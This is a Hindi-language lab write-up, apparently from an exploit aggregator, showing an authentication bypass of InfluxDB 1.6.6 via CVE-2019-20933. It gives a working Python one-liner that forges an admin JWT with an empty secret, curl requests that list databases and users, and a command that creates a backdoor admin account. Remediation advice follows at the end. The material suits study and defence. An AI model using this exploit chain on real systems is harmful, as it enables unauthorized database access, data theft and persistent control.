Exploit for CVE-2019-20933

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DUNGSOCOOL-CVE-2019-20933
# लैब 5-CVE-2019-20933

# **I. सिस्टम विश्लेषण**

### **हमले की सतह की पहचान**

पर्यावरण में क्या चल रहा है, उससे शुरू करते हैं। मैं सभी सक्रिय कंटेनरों को सूचीबद्ध करता हूँ:

root@kitploit:~
    
    
    docker ps
    

![image.png](https://assets.kitploit.com/production/public/readmes/35750/60beb33ef82b404d4e3b9fcc0327ed89a0ab2a47a2cd740f7029b336968e4320.png)

**पीड़ित एक एकल पोर्ट उजागर करता है:`8086`**।

वर्तमान में, मेरे पास लक्ष्य के बारे में विस्तृत जानकारी नहीं है। `docker ps` आउटपुट से, सिस्टम बाह्य रूप से केवल पोर्ट `8086` पर एक उल्लेखनीय सेवा उजागर करता है, जो कंटेनर के अंदर की सेवा से मैप की गई है। यह विश्लेषण करने के लिए प्राथमिक हमले की सतह है।

इसे ब्राउज़र के माध्यम से तुरंत एक्सेस करने के बजाय, हम Nmap का उपयोग करके सेवा की फिंगरप्रिंटिंग करते हैं ताकि यह पता लगाया जा सके कि पोर्ट 8086 पर कौन सी सेवा चल रही है:

`nmap -sV -sC -p 8086 192.168.3.137`

![image.png](https://assets.kitploit.com/production/public/readmes/35750/f6d7912e23a3589135c5bd9b69f8db9eec0c78eb8bf572591515af7112d6cbb1.png)

स्कैन परिणाम दिखाते हैं कि पोर्ट 8086 **InfluxDB OSS 1.6.6** की HTTP सेवा है। यह एक HTTP API के माध्यम से उजागर एक समय-श्रृंखला डेटाबेस है, न कि एक सामान्य वेब एप्लिकेशन।

### **फिंगरप्रिंटिंग के बाद सोच विश्लेषण**

**InfluxDB** एक ओपन-सोर्स टाइम सीरीज़ डेटाबेस (TSDB) है जो **Go** में लिखा गया है। RDBMS (सटीक लेन-देन के लिए अनुकूलित) या Elasticsearch (पाठ खोज के लिए अनुकूलित) के विपरीत, InfluxDB एक ही उद्देश्य के साथ बनाया गया था: **बड़े लेखन वॉल्यूम को संभालना (उच्च लेखन थ्रूपुट) और कम विलंबता के साथ समय अक्ष के साथ डेटा क्वेरी करना।**

![image.png](https://assets.kitploit.com/production/public/readmes/35750/e11ab32cbe50f1477d03a4e2283089301bf6a3bbc583ea912ceb31859cc013f0.png)

चूंकि सेवा को **InfluxDB** के रूप में फिंगरप्रिंट किया गया है, अगला कदम यह देखना है कि InfluxDB ग्राहकों के साथ कैसे संचार करता है। **InfluxDB v1** HTTP API दस्तावेज़ के अनुसार, पोर्ट `8086` डिफ़ॉल्ट HTTP API पोर्ट है। महत्वपूर्ण एंडपॉइंट में शामिल हैं:

  * `/ping`: सर्वर की परिचालन स्थिति की जाँच करता है।
  * `/query`: मेटाडेटा या डेटा पढ़ने के लिए InfluxQL क्वेरी भेजता है।
  * `/write`: डेटाबेस में समय-श्रृंखला डेटा लिखता है।



**⇒ सोच:** Nmap द्वारा सेवा को `InfluxDB http admin 1.6.6` के रूप में पहचानने के बाद, हम **इसे एक मानक वेबसाइट की तरह परीक्षण करना जारी नहीं रखते** । **वेब एप्लिकेशन** के लिए, हम आमतौर पर रूट, लॉगिन फॉर्म या निर्देशिकाओं की तलाश करते हैं। हालांकि, **InfluxDB** के साथ, **हमले की सतह HTTP API के भीतर है** । इसलिए, **हमें मानक InfluxDB API एंडपॉइंट का परीक्षण करने के लिए स्विच करना होगा** ताकि यह निर्धारित किया जा सके कि API को प्रमाणीकरण की आवश्यकता है या नहीं। नतीजतन, अगली परीक्षण दिशा ब्राउज़र के माध्यम से `/` तक पहुँचना नहीं है, बल्कि **InfluxDB** के API एंडपॉइंट पर सीधे अनुरोध भेजना है।

### **API व्यवहार का विश्लेषण और प्रमाणीकरण लक्ष्यों की पहचान**

#### `/ping` एंडपॉइंट की जाँच

पोर्ट `8086` को InfluxDB HTTP API के रूप में पहचानने के बाद, सेवा के चालू होने की पुष्टि करने के लिए `/ping` एंडपॉइंट की जाँच करें:

root@kitploit:~
    
    
    curl -i <http://192.168.3.137:8086/ping>
    

![image.png](https://assets.kitploit.com/production/public/readmes/35750/a49dd1b40920819da49b9c79be221f29d9c39c08acfe9d36763660ed77324990.png)

**प्रतिक्रिया 204 No Content** पुष्टि करती है कि **InfluxDB** सामान्य रूप से काम कर रहा है। हेडर आगे सेवा संस्करण को **InfluxDB OSS 1.6.6** के रूप में पुष्टि करते हैं।

#### `/query` एंडपॉइंट पर प्रमाणीकरण की जाँच

root@kitploit:~
    
    
    curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"
    

![image.png](https://assets.kitploit.com/production/public/readmes/35750/b469525064cdbeff931aec1685a383e60413834fbe0f3c9cf4aa12813a01ca5d.png)

`/query` एंडपॉइंट प्रमाणीकरण क्रेडेंशियल के बिना सीधे क्वेरी की अनुमति नहीं देता है। यह पुष्टि करता है कि **InfluxDB में प्रमाणीकरण सक्षम है** और सिस्टम को भेजी गई सभी अनाम क्वेरी को ब्लॉक करता है।

मैं सोचने पर स्विच करता हूँ: क्या InfluxDB संस्करण 1.6.6 में कोई भेद्यता है जो प्रमाणीकरण तंत्र को बायपास करने की अनुमति देती है?

![image.png](https://assets.kitploit.com/production/public/readmes/35750/dbda7536be4f5525140d97ec1166f37c5be9b91472d8d67393a1bd2ca4a6a8cb.png)

सार्वजनिक भेद्यता डेटाबेस का संदर्भ देकर, `1.7.6` से पहले के InfluxDB संस्करण CVE-2019-20933 से प्रभावित हैं। यह InfluxDB के प्रमाणीकरण फ़ंक्शन के भीतर एक प्रमाणीकरण बायपास भेद्यता है, जो खाली साझा गुप्त कुंजी वाले JWT टोकन को संभालने से संबंधित है।

चूंकि लक्ष्य InfluxDB `1.6.6` चला रहा है, जो पैच किए गए संस्करण `1.7.6` से कम है, सेवा प्रभावित संस्करण सीमा के अंतर्गत आती है।

यह निष्कर्ष निकाला जा सकता है:

root@kitploit:~
    
    
    सेवा: InfluxDB OSS
    संस्करण: 1.6.6
    प्रमाणीकरण: सक्षम
    CVE मैपिंग: CVE-2019-20933
    प्रभाव: प्रमाणीकरण बायपास
    स्थिति: संस्करण असुरक्षित
    

**⇒ सोच: प्रारंभ में, /query एंडपॉइंट 401 Unauthorized लौटाता है,** जो दर्शाता है कि प्रमाणीकरण तंत्र सक्रिय है। हालांकि, प्रमाणीकरण सक्षम होने का मतलब पूर्ण सुरक्षा नहीं है। जब `संस्करण` को **1.6.6** के रूप में फिंगरप्रिंट किया जाता है, तो हमें इसे ज्ञात CVE से सहसंबंधित करने की आवश्यकता है। परिणाम बताते हैं कि यह संस्करण **CVE-2019-20933** से प्रभावित सीमा के अंतर्गत आता है, जिसका अर्थ है कि **/query एंडपॉइंट की रक्षा करने वाले प्रमाणीकरण तंत्र को बायपास करना संभव है** । इन पहचान परिणामों के आधार पर, शोषण चरण उपयुक्त JWT टोकन उत्पन्न करके और `/query` एंडपॉइंट के विरुद्ध क्वेरी निष्पादित करके **CVE-2019-20933** को सत्यापित करने पर केंद्रित होगा।

### भेद्यता तंत्र विश्लेषण (CVE-2019-20933)

CVE-2019-20933 भेद्यता **InfluxDB** के `1.7.6` से पहले के संस्करणों में `services/httpd/handler.go` फ़ाइल के अंदर `authenticate` फ़ंक्शन में होती है।

#### InfluxDB में JWT प्रमाणीकरण तंत्र

**InfluxDB** HTTP API अनुरोधों के लिए **JSON Web Tokens (JWT)** का उपयोग करके प्रमाणीकरण का समर्थन करता है। हेडर के साथ अनुरोध प्राप्त करने पर:

root@kitploit:~
    
    
    Authorization: Bearer <token>
    

**InfluxDB** निम्नलिखित चरणों का पालन करेगा:

  1. टोकन को डीकोड करके **हेडर और पेलोड** निकालें।
  2. टोकन हस्ताक्षर सत्यापन के लिए गुप्त कुंजी के रूप में कार्य करने के लिए `influxdb.conf` फ़ाइल से `shared-secret` कॉन्फ़िगरेशन मान पढ़ें।
  3. यदि हस्ताक्षर मान्य है, तो क्वेरी निष्पादित करने वाले उपयोगकर्ता को निर्धारित करने के लिए दावों से `username` फ़ील्ड प्राप्त करें।



#### **दोष**

प्रभावित संस्करणों में, यदि JWT प्रमाणीकरण सक्षम है लेकिन `shared-secret` पैरामीटर कॉन्फ़िगर नहीं किया गया है, तो गुप्त मान को एक खाली स्ट्रिंग (`""`) के रूप में संसाधित किया जा सकता है।

सिस्टम **JWT** हस्ताक्षर को सत्यापित करने से पहले गुप्त की सुरक्षा शक्ति का पर्याप्त रूप से सत्यापन करने में विफल रहता है। यह एक हमलावर को एक कस्टम **JWT** बनाने, इसे खाली गुप्त कुंजी के साथ हस्ताक्षरित करने, और फिर `username` दावे को सिस्टम पर एक मान्य खाते पर सेट करने की अनुमति देता है, जैसे कि `admin` यदि यह खाता लैब में मौजूद है।

जब यह टोकन `Authorization: Bearer <token>` हेडर के माध्यम से प्रस्तुत किया जाता है, तो **InfluxDB** हस्ताक्षर को सत्यापित करने के लिए उसी खाली गुप्त कुंजी का उपयोग करता है। यदि हस्ताक्षर मेल खाता है और उपयोगकर्ता नाम मौजूद है, तो अनुरोध को उपयोगकर्ता के वास्तविक पासवर्ड की आवश्यकता के बिना अधिकृत किया जाएगा।

प्रसंस्करण प्रवाह को निम्नानुसार संक्षेपित किया जा सकता है:

तर्क स्तर पर शोषण प्रवाह:

root@kitploit:~
    
    
    InfluxDB < 1.7.6
    → प्रमाणीकरण सक्षम
    → खाली shared-secret
    → हमलावर गुप्त कुंजी "" के साथ हस्ताक्षरित JWT बनाता है
    → Authorization: Bearer के माध्यम से टोकन भेजता है
    → सर्वर टोकन स्वीकार करता है
    → /query पर क्वेरी सफल होती है
    

#### **सारांश**

CVE तंत्र को समझने के बाद, केवल संस्करण के आधार पर निष्कर्ष निकालने से बचने के लिए इसे लक्ष्य से सहसंबंधित करना आवश्यक है।

इस समय, **CVE-2019-20933** को लक्ष्य के लिए अत्यधिक उपयुक्त उम्मीदवार के रूप में पहचाना गया है। हालांकि, व्यावहारिक शोषण की पुष्टि करने के लिए, हमें एक खाली `shared secret` के साथ हस्ताक्षरित **JWT** उत्पन्न करना होगा और इसे `/query` एंडपॉइंट पर प्रेषित करना होगा।

यदि सर्वर इस टोकन को स्वीकार करता है और क्वेरी निष्पादन की अनुमति देता है, तभी हम यह निष्कर्ष निकाल सकते हैं कि CVE का सफलतापूर्वक शोषण किया गया।

# **II. शोषण**

### **मैन्युअल रूप से जाली JWT बनाना**

उपरोक्त भेद्यता तंत्र विश्लेषण से, शोषण के लिए शर्तें हैं:

  1. सिस्टम पर एक मान्य `username` के साथ JWT बनाएं।
  2. इस टोकन को खाली गुप्त कुंजी (`""`) के साथ हस्ताक्षरित करें।
  3. `/query` एंडपॉइंट पर `Authorization: Bearer <token>` हेडर के माध्यम से टोकन भेजें।



#### **बनाने के लिए JWT संरचना की पहचान**

JWT में 3 डॉट-पृथक भाग होते हैं: `Header.Payload.Signature`

**हेडर**

root@kitploit:~
    
    
    {"alg":"HS256","typ":"JWT"}
    

**पेलोड**

root@kitploit:~
    
    
    {"username":"admin","exp":2147483647}
    

  * `username`: लक्ष्य खाता। इस लैब में, InfluxDB डिफ़ॉल्ट `admin` उपयोगकर्ता बनाता है।
  * `exp`: टोकन समाप्ति समय, अत्यधिक दूर भविष्य (वर्ष 2038) में सेट किया गया है ताकि समाप्ति के कारण अस्वीकृति से बचा जा सके।



**हस्ताक्षर**

root@kitploit:~
    
    
    HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))
    

#### **Kali पर Python वन-लाइनर के माध्यम से JWT उत्पन्न करना**

Kali पर, हम एक कमांड के साथ पूर्ण JWT उत्पन्न करते हैं:

root@kitploit:~
    
    
    python3 -c "
    import base64, hmac, hashlib, json
    def b64url(data):
    return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
    h = b64url({'alg':'HS256','typ':'JWT'})
    p = b64url({'username':'admin','exp':2147483647})
    sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
    print(f'{h}.{p}.{sig}')
    "
    

![image.png](https://assets.kitploit.com/production/public/readmes/35750/fa70649baec4682790ea6ed59909162af7c66a5a2a76b7421c980aa39291bae6.png)

हमें स्ट्रिंग प्राप्त होती है:

root@kitploit:~
    
    
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw
    

  * `b64url()`: Python dict को JSON स्ट्रिंग में परिवर्तित करता है और इसे Base64URL प्रारूप में एनकोड करता है (JWT मानक के अनुसार `=` पैडिंग हटाकर)।
  * `hmac.new(b'', ...)`: **खाली कुंजी** (`b''`) के साथ HMAC-SHA256 एल्गोरिथम का उपयोग करके संदेश पर हस्ताक्षर करता है। यह शोषण वेक्टर है — खाली कुंजी सर्वर पर अनकॉन्फ़िगर किए गए `shared-secret` से मेल खाती है।
  * अंतिम परिणाम JWT RFC 7519 मानक के अनुरूप `Header.Payload.Signature` स्ट्रिंग है।



#### **CVE को सत्यापित करने के लिए`/query` एंडपॉइंट पर टोकन भेजना**

टोकन को एक पर्यावरण चर में सहेजें और फिर `SHOW DATABASES` क्वेरी भेजें:

root@kitploit:~
    
    
    TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"
    
    curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \
      -H "Authorization: Bearer $TOKEN"
    

![image.png](https://assets.kitploit.com/production/public/readmes/35750/ce063321c3286efef59e4ad87017a7dca2904818740c88ff966e76393306c53f.png)

**परिणाम विश्लेषण:**

  * प्रतिक्रिया `401 Unauthorized` से `200 OK` में बदल जाती है।
  * सर्वर सिस्टम पर मौजूद डेटाबेस की वास्तविक सूची लौटाता है।
  * यह साबित करता है कि खाली गुप्त कुंजी से हस्ताक्षरित JWT को सर्वर द्वारा स्वीकार कर लिया गया, जिससे सफलतापूर्वक क्वेरी अनुमतियाँ प्राप्त हुईं।



⇒ **CVE-2019-20933 को लक्ष्य पर सफलतापूर्वक शोषित किए जाने की पुष्टि हुई है।** एक रिक्त कुंजी के साथ हस्ताक्षरित स्वयं-निर्मित JWT के साथ, हमने प्रमाणीकरण तंत्र को पूरी तरह से बायपास कर दिया और `admin` के रूप में क्वेरी पहुँच प्राप्त कर ली।

# **III. पोस्ट-एक्सप्लॉइटेशन**

प्रमाणीकरण को सफलतापूर्वक बायपास करने के बाद, हम सिस्टम पर डेटाबेस के अंदर संवेदनशील डेटा एकत्र करने के लिए गहन पोस्ट-एक्सप्लॉइटेशन के साथ आगे बढ़ते हैं। `SHOW DATABASES` परिणामों से, सिस्टम में 2 डेटाबेस हैं: `_internal` (InfluxDB का डिफ़ॉल्ट आंतरिक निगरानी डेटाबेस) और `sample` (परिचालन व्यावसायिक डेटाबेस)।

### **1\. InfluxDB सिस्टम पर उपयोगकर्ताओं को सूचीबद्ध करना**

root@kitploit:~
    
    
    curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
      -H "Authorization: Bearer $TOKEN"
    

![image.png](https://assets.kitploit.com/production/public/readmes/35750/6400e4ca4b12a1d11af776a3ca660385ee9cfdcc7efde81eae700b87ee1a6b5a.png)

सिस्टम में केवल एक ही उपयोगकर्ता है: `admin` प्रशासनिक विशेषाधिकारों के साथ (`admin: true`). यह पुष्टि करता है कि हमारे जाली JWT ने सिस्टम पर एकमात्र प्रशासनिक खाते को सफलतापूर्वक प्रतिरूपित किया है।

### **2.`_internal` डेटाबेस में मापों को सूचीबद्ध करना**

`sample` डेटाबेस में कोई माप नहीं है (यह खाली है)। हालांकि, `_internal` डेटाबेस InfluxDB का आंतरिक निगरानी डेटाबेस है और इसमें हमेशा सिस्टम मेट्रिक्स होते हैं:

root@kitploit:~
    
    
    curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
      -H "Authorization: Bearer $TOKEN"
    

![image.png](https://assets.kitploit.com/production/public/readmes/35750/a8bc0437496664898c77e1a2feb884720d5054e22e9ed40fa1bb41fdeeb96c97.png)

`_internal` डेटाबेस में **12 आंतरिक निगरानी माप** हैं: `cq`, `database`, `httpd`, `queryExecutor`, `runtime`, `shard`, `subscriber`, `tsm1_cache`, `tsm1_engine`, `tsm1_filestore`, `tsm1_wal`, और `write`. ये तालिकाएँ InfluxDB इंस्टेंस के विस्तृत परिचालन आँकड़े संग्रहीत करती हैं—जिसमें HTTP क्वेरी लॉग, डेटाबेस प्रदर्शन मेट्रिक्स और स्टोरेज इंजन की स्थिति शामिल है।

### **3\. एक नया प्रशासनिक उपयोगकर्ता बनाना**

यह प्रदर्शित करने के लिए कि बायपास किया गया `admin` पहुँच केवल पढ़ने के कार्यों तक सीमित नहीं है, बल्कि **लेखन और प्रशासनिक पहुँच** भी प्रदान करती है, हम पूर्ण प्रशासनिक विशेषाधिकारों के साथ एक नया उपयोगकर्ता खाता बनाते हैं:

root@kitploit:~
    
    
    curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
      -H "Authorization: Bearer $TOKEN"
    

![image.png](https://assets.kitploit.com/production/public/readmes/35750/5d15ae6f882fbca2f5128eeb2c93ecf7049bf54bf9441f42d8b66575eacb0ce3.png)

प्रतिक्रिया `statement_id: 0` बिना किसी `error` फ़ील्ड के लौटाती है—यह पुष्टि करती है कि `CREATE USER` कमांड सफलतापूर्वक निष्पादित हुआ। हमलावर अब `hacked` / `Dung` क्रेडेंशियल का उपयोग करके पूर्ण प्रशासक पहुँच के साथ सीधे लॉग इन कर सकता है, बिना जाली JWT टोकन की आवश्यकता के।

**⇒ यह सबसे मजबूत प्रमाण है कि भेद्यता CVE-2019-20933 न केवल डेटा के प्रदर्शन की अनुमति देती है, बल्कि एक हमलावर को InfluxDB सिस्टम पर पूर्ण नियंत्रण प्राप्त करने की भी अनुमति देती है** —जिसमें उपयोगकर्ता प्रावधान, डेटाबेस विनाश और सिस्टम कॉन्फ़िगरेशन संशोधन शामिल हैं।

### **विशेषाधिकार वृद्धि और सिस्टम प्रभाव का आकलन**

प्रत्यक्ष रूप से OS स्तर पर लक्षित रिमोट कोड एक्सीक्यूशन (RCE) भेद्यताओं (जैसे लैब 3 में) के विपरीत, CVE-2019-20933 अपने प्रभाव के दायरे को डेटाबेस-स्तरीय प्रशासन तक सीमित रखता है। हालांकि, गंभीरता निम्न कारणों से उच्च बनी हुई है:

  * **गोपनीयता का पूर्ण नुकसान** : हमलावर InfluxDB के अंदर रहने वाले सभी संवेदनशील डेटा को निकाल सकते हैं, जिसमें सिस्टम मेटाडेटा और कंटेनर पर्यावरण कॉन्फ़िगरेशन शामिल हैं।
  * **अखंडता का पूर्ण नुकसान** : हमलावरों के पास डेटा को संशोधित करने, हटाने या धोखाधड़ी वाले डेटा को इंजेक्ट करने की पूर्ण अनुमतियाँ हैं—जैसा कि पूर्ण प्रशासनिक विशेषाधिकारों के साथ `hacked` उपयोगकर्ता के सफल निर्माण से सिद्ध हुआ है।
  * **स्थिरता** : प्रशासनिक खाता प्रदान करने के बाद, हमलावर स्थिरता स्थापित कर सकता है, कस्टम जाली JWT पर निर्भर हुए बिना मानक बेसिक प्रमाणीकरण का उपयोग करके प्रमाणीकरण कर सकता है।
  * **पार्श्व गति की संभावना** : एकत्रित जानकारी (जैसे कंटेनर होस्टनाम और डेटाबेस आर्किटेक्चर) का उपयोग डॉकर सबनेट के भीतर आसन्न सेवाओं को लक्षित करने और पिवट करने के लिए किया जा सकता है।



# **IV. जोखिम आकलन एवं सुधार अनुशंसाएँ**

### **जोखिम आकलन**

* * *

### **सुधार अनुशंसाएँ**

इस गंभीर सुरक्षा भेद्यता को पूरी तरह से ठीक करने के लिए, सिस्टम प्रशासकों को तुरंत निम्नलिखित उपायों को लागू करना चाहिए:

### **तत्काल उपाय (अल्पकालिक):**

  1. **एक मजबूत साझा गुप्त कॉन्फ़िगरेशन लागू करें** यदि अपग्रेड करना तुरंत संभव नहीं है, तो `[http]` अनुभाग के तहत एक लंबा, जटिल और यादृच्छिक साझा गुप्त परिभाषित करने के लिए `influxdb.conf` कॉन्फ़िगरेशन फ़ाइल संपादित करें: _नोट:_ कॉन्फ़िगरेशन संपादित करने के बाद परिवर्तनों को प्रभावी करने के लिए InfluxDB सेवा को पुनरारंभ करें।

root@kitploit:~
         
         ini
         
         [http]
           enabled = true
           auth-enabled = true
           shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
         

  2. **InfluxDB इंस्टेंस को पैच किए गए संस्करण में अपग्रेड करें** InfluxDB को तुरंत संस्करण **`1.7.6` या उच्चतर** में अपडेट करें। डेवलपर्स ने इन संस्करणों में प्रमाणीकरण रूटीन को संशोधित किया है ताकि खाली या असुरक्षित साझा गुप्त कुंजियों से हस्ताक्षरित JWT टोकन को अस्वीकार किया जा सके।




### **गहन सुरक्षा उपाय (दीर्घकालिक):**

  1. **नेटवर्क सेगमेंटेशन नियम लागू करें**
     * API पोर्ट `8086` को सार्वजनिक इंटरनेट पर कभी उजागर न करें।
     * फ़ायरवॉल नीतियों या पृथक डॉकर नेटवर्क का उपयोग करके InfluxDB के साथ संचार को अधिकृत आंतरिक सेवाओं (जैसे Grafana, Telegraf, या बैकएंड एप्लिकेशन) तक सख्ती से सीमित करें।
  2. **HTTPS प्रोटोकॉल का उपयोग करें**
     * InfluxDB API एंडपॉइंट के लिए SSL/TLS कॉन्फ़िगर करें ताकि सभी प्रेषित टेलीमेट्री डेटा (JWT टोकन सहित) एन्क्रिप्टेड हो, जिससे मैन-इन-द-मिडिल (MitM) सुनने के माध्यम से टोकन संग्रह का जोखिम समाप्त हो जाए।